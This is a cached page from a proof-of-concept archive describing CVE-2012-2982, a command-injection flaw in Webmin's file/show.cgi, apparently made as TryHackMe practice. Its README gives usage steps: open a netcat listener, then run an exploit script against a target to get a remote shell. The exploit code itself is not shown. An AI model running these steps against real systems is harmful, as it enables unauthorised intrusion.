Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2012-2982 PoC — Webmin ‘file/show.cgi’任意命令执行漏洞

Source
Associated Vulnerability
Title:Webmin ‘file/show.cgi’任意命令执行漏洞 (CVE-2012-2982)
Description:Webmin是澳大利亚软件开发者Jamie Cameron和Webmin社区共同开发的一套基于Web的用于类Unix操作系统中的系统管理工具。 Webmin 1.590版本和较早版本中的file/show.cgi中存在漏洞。远程认证用户可利用该漏洞通过路径名中的无效字符如‘|’(竖线)字符,执行任意命令。
Description
Practice POC scripting in Tryhackme’s intro poc scripting room (For Linux)
Readme
# CVE-2012-2982

## Description
file/show.cgi in Webmin 1.590 and earlier allows remote authenticated users to execute arbitrary commands via an invalid character in a pathname, as demonstrated by a | (pipe) character.

## Installation

1. `git clone https://github.com/CpyRe/CVE-2012-2982.git`
2. `pip3 install -r requirements.txt`

## Usage

1. `nc -nlvp <port>`
2. `python3 exp.py <myip> <vulnip> <port>`
                    OR
   `python3 subprocess-exp.py <myip> <vulnip> <port>`
3.  RCE!!
File Snapshot

[4.0K] /data/pocs/b0d4691d1f8d163170d0f1425453dbc311c7d53d ├── [1.1K] exp.py ├── [ 515] README.md ├── [ 52] requirements.txt └── [1.7K] subprocess-exp.py 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.